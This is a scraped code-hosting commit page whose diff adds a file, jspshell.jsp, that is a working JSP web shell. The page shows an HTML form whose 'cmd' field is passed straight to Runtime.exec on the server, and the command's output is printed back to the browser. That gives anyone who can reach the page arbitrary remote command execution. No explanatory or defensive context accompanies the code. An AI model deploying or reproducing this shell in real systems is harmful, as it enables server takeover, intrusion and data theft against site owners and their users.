There was an error while loading. Please reload this page.
1 parent 495be57 commit 7c7b892Copy full SHA for 7c7b892
jspshell.jsp
@@ -0,0 +1,32 @@
1
+<%@ page
2
+import="java.util.*,java.io.*"%>
3
+<%
4
+%>
5
+<HTML>
6
+<BODY>
7
+<H3>JSP SHELL</H3>
8
+<FORM METHOD="GET" NAME="myform"
9
+ACTION="">
10
+<INPUT TYPE="text" NAME="cmd">
11
+<INPUT TYPE="submit" VALUE="Execute">
12
+</FORM>
13
+<PRE>
14
15
+if (request.getParameter("cmd") != null) {
16
+out.println("Command: " +
17
+request.getParameter("cmd") + "<BR>");
18
+Process p =
19
+Runtime.getRuntime().exec(request.getParameter("cmd"));
20
+OutputStream os = p.getOutputStream();
21
+InputStream in = p.getInputStream();
22
+DataInputStream dis = new DataInputStream(in);
23
+String disr = dis.readLine();
24
+while ( disr != null ) {
25
+out.println(disr);
26
+disr = dis.readLine();
27
+}
28
29
30
+</PRE>
31
+</BODY>
32
+</HTML>
0 commit comments